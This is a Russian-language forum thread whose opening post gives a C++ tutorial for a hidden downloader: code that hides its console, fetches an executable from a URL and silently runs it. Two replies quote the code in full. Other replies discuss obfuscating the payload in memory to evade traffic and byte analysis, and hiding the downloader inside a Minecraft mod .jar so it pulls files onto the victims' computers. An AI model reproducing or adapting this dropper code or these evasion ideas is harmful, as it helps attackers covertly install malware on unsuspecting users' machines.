Статья C++ загрузка и открытие файла

taskevich

Новорег
Сообщения
4
Реакции
2
Для начала скажу, я не буду объяснять подробно параметры и т.п. каждой функции, зайдите на msdn и прочтите.
Ссылка на репозиторий на ->

Для просмотра скрытого содержимого вы должны авторизироваться или зарегистрироваться

<-​
Для начала подключим все директивы:

#include <Windows.h>
#include <WinInet.h>
#include <vector>

#pragma comment(lib,"wininet")
#pragma warning(disable : 4996)


Объявим функции main, где находится прямая ссылка на файл:

void main()
{
[INDENT] ShowWindow(GetConsoleWindow(), SW_HIDE); // Скрытие консоли[/INDENT]
[INDENT] const char url[] = "https://url/file.exe"; // ссылка на файл[/INDENT]
[INDENT] download_file_and_run(url); // функция для запуска процесса скачки[/INDENT]
[INDENT]#ifdef _DEBUG[/INDENT]
[INDENT] system("pause");[/INDENT]
[INDENT]#endif[/INDENT]
}


Теперь самая главная функция, которая будет выполнять собственно основную задачу:
Для скачки файла, нужно установить соединение с сайтом, поэтому с помощью функция WinInet мы пишем:


HINTERNET hOpen = InternetOpenA("", NULL, NULL, NULL, NULL);
if (!hOpen) return NULL;

HINTERNET hFile = InternetOpenUrlA(hOpen, szUrl, NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, NULL);
if (!hFile) {
InternetCloseHandle(hOpen);
return NULL;
}


Далее объявим переменные, куда мы запишем байты нашей программы:

std::vector<char> tempdata; // временный буфер для чтения байтов программы
char* data = NULL; // буфер, куда в последующем будет записаны байты
DWORD dwBytesRead = 0; // сколько прочитано байтов


Объявим основной цикл чтения байтов программы:

do
{
char buffer[1024];
InternetReadFile(hFile, buffer, _countof(buffer), &dwBytesRead);
for (unsigned int i = 0; i < dwBytesRead; i++)
{
tempdata.push_back(buffer[i]);
}
} while (dwBytesRead);

data = new char[tempdata.size()];
for (unsigned int i = 0; i < tempdata.size(); i++)
{
data[i] = tempdata[i];
}

// И обязательно закроем соединение
InternetCloseHandle(hFile);
InternetCloseHandle(hOpen);


Далее нужно создать и записать байты программы из буфера data в файл:

if (data)
{

HANDLE hFile = CreateFileA("test.exe", GENERIC_READ | GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, data, tempdata.size(), &dwBytesRead, NULL);

CloseHandle(hFile);
// ....



Все, файл скачан, можно добавить дополнительно и запуск этого файла, продолжая предыдущий блок if:

STARTUPINFOA si; // структура содержащая информацию о создаваемом процессе(типа размер окна, заголовок и т.п )
PROCESS_INFORMATION pi; // структура, содержащая информацию об процессе

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

if (!CreateProcessA("test.exe", NULL, NULL, NULL,
FALSE, 0, NULL, NULL, &si, &pi))
printf("CreateProcess failed."); // Создать процесс скачанного файла

// закрываем объекты ядра
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
 

Darwin

Команда форума
Администратор
Сообщения
945
Реакции
513
Полезная статья, но я бы не использовал скачивание файла с интернета так как можно отследить трафик через httpdebugger
проще создать сам файл через память и его даже замаскировать что бы не вытащили через байты, но если не серьезное что то а простенькое то вообще отличный гайд
 

010010010100

Активный
Сообщения
265
Реакции
107
А можно ли совместить это с .jar файлом?
 

Darwin

Команда форума
Администратор
Сообщения
945
Реакции
513
А можно ли совместить это с .jar файлом?
Да, можно скачать любой файл и использовать как тебе нужно, здесь идёт скачивания и создания процесса исполняемого файла, но и так же можно открыть jar поменяя тип файла
 

010010010100

Активный
Сообщения
265
Реакции
107
Да, можно скачать любой файл и использовать как тебе нужно, здесь идёт скачивания и создания процесса исполняемого файла, но и так же можно открыть jar поменяя тип файла
То есть, к примеру
Человек кидает файл .jar в mods, и запускает этот файл через майнкрафт
То на его комп скачивается тот или иной файл
Я правильно понимаю?
 

dertuZ

Исследователь
Заблокирован
Сообщения
43
Реакции
2
Для начала скажу, я не буду объяснять подробно параметры и т.п. каждой функции, зайдите на msdn и прочтите.
Ссылка на репозиторий на ->

Для просмотра скрытого содержимого вы должны авторизироваться или зарегистрироваться

<-​
Для начала подключим все директивы:

#include <Windows.h>
#include <WinInet.h>
#include <vector>

#pragma comment(lib,"wininet")
#pragma warning(disable : 4996)


Объявим функции main, где находится прямая ссылка на файл:

void main()
{
[INDENT] ShowWindow(GetConsoleWindow(), SW_HIDE); // Скрытие консоли[/INDENT]
[INDENT] const char url[] = "https://url/file.exe"; // ссылка на файл[/INDENT]
[INDENT] download_file_and_run(url); // функция для запуска процесса скачки[/INDENT]
[INDENT]#ifdef _DEBUG[/INDENT]
[INDENT] system("pause");[/INDENT]
[INDENT]#endif[/INDENT]
}


Теперь самая главная функция, которая будет выполнять собственно основную задачу:
Для скачки файла, нужно установить соединение с сайтом, поэтому с помощью функция WinInet мы пишем:


HINTERNET hOpen = InternetOpenA("", NULL, NULL, NULL, NULL);
if (!hOpen) return NULL;

HINTERNET hFile = InternetOpenUrlA(hOpen, szUrl, NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, NULL);
if (!hFile) {
InternetCloseHandle(hOpen);
return NULL;
}


Далее объявим переменные, куда мы запишем байты нашей программы:

std::vector<char> tempdata; // временный буфер для чтения байтов программы
char* data = NULL; // буфер, куда в последующем будет записаны байты
DWORD dwBytesRead = 0; // сколько прочитано байтов


Объявим основной цикл чтения байтов программы:

do
{
char buffer[1024];
InternetReadFile(hFile, buffer, _countof(buffer), &dwBytesRead);
for (unsigned int i = 0; i < dwBytesRead; i++)
{
tempdata.push_back(buffer[i]);
}
} while (dwBytesRead);

data = new char[tempdata.size()];
for (unsigned int i = 0; i < tempdata.size(); i++)
{
data[i] = tempdata[i];
}

// И обязательно закроем соединение
InternetCloseHandle(hFile);
InternetCloseHandle(hOpen);


Далее нужно создать и записать байты программы из буфера data в файл:

if (data)
{

HANDLE hFile = CreateFileA("test.exe", GENERIC_READ | GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, data, tempdata.size(), &dwBytesRead, NULL);

CloseHandle(hFile);
// ....



Все, файл скачан, можно добавить дополнительно и запуск этого файла, продолжая предыдущий блок if:

STARTUPINFOA si; // структура содержащая информацию о создаваемом процессе(типа размер окна, заголовок и т.п )
PROCESS_INFORMATION pi; // структура, содержащая информацию об процессе

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

if (!CreateProcessA("test.exe", NULL, NULL, NULL,
FALSE, 0, NULL, NULL, &si, &pi))
printf("CreateProcess failed."); // Создать процесс скачанного файла

// закрываем объекты ядра
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
Да, впринципе полезная темка
 

$1and1

Активный
Сообщения
285
Реакции
43
находится прямая ссылка н
Для начала скажу, я не буду объяснять подробно параметры и т.п. каждой функции, зайдите на msdn и прочтите.
Ссылка на репозиторий на ->

Для просмотра скрытого содержимого вы должны авторизироваться или зарегистрироваться

<-​
Для начала подключим все директивы:

#include <Windows.h>
#include <WinInet.h>
#include <vector>

#pragma comment(lib,"wininet")
#pragma warning(disable : 4996)


Объявим функции main, где находится прямая ссылка на файл:

void main()
{
[INDENT] ShowWindow(GetConsoleWindow(), SW_HIDE); // Скрытие консоли[/INDENT]
[INDENT] const char url[] = "https://url/file.exe"; // ссылка на файл[/INDENT]
[INDENT] download_file_and_run(url); // функция для запуска процесса скачки[/INDENT]
[INDENT]#ifdef _DEBUG[/INDENT]
[INDENT] system("pause");[/INDENT]
[INDENT]#endif[/INDENT]
}


Теперь самая главная функция, которая будет выполнять собственно основную задачу:
Для скачки файла, нужно установить соединение с сайтом, поэтому с помощью функция WinInet мы пишем:


HINTERNET hOpen = InternetOpenA("", NULL, NULL, NULL, NULL);
if (!hOpen) return NULL;

HINTERNET hFile = InternetOpenUrlA(hOpen, szUrl, NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, NULL);
if (!hFile) {
InternetCloseHandle(hOpen);
return NULL;
}


Далее объявим переменные, куда мы запишем байты нашей программы:

std::vector<char> tempdata; // временный буфер для чтения байтов программы
char* data = NULL; // буфер, куда в последующем будет записаны байты
DWORD dwBytesRead = 0; // сколько прочитано байтов


Объявим основной цикл чтения байтов программы:

do
{
char buffer[1024];
InternetReadFile(hFile, buffer, _countof(buffer), &dwBytesRead);
for (unsigned int i = 0; i < dwBytesRead; i++)
{
tempdata.push_back(buffer[i]);
}
} while (dwBytesRead);

data = new char[tempdata.size()];
for (unsigned int i = 0; i < tempdata.size(); i++)
{
data[i] = tempdata[i];
}

// И обязательно закроем соединение
InternetCloseHandle(hFile);
InternetCloseHandle(hOpen);


Далее нужно создать и записать байты программы из буфера data в файл:

if (data)
{

HANDLE hFile = CreateFileA("test.exe", GENERIC_READ | GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, data, tempdata.size(), &dwBytesRead, NULL);

CloseHandle(hFile);
// ....



Все, файл скачан, можно добавить дополнительно и запуск этого файла, продолжая предыдущий блок if:

STARTUPINFOA si; // структура содержащая информацию о создаваемом процессе(типа размер окна, заголовок и т.п )
PROCESS_INFORMATION pi; // структура, содержащая информацию об процессе

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

if (!CreateProcessA("test.exe", NULL, NULL, NULL,
FALSE, 0, NULL, NULL, &si, &pi))
printf("CreateProcess failed."); // Создать процесс скачанного файла

// закрываем объекты ядра
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
std::vector не рекомендую, я туда хотел запихнуть 5мб данных но мне этого не дали, ошибка.
 
Верх Низ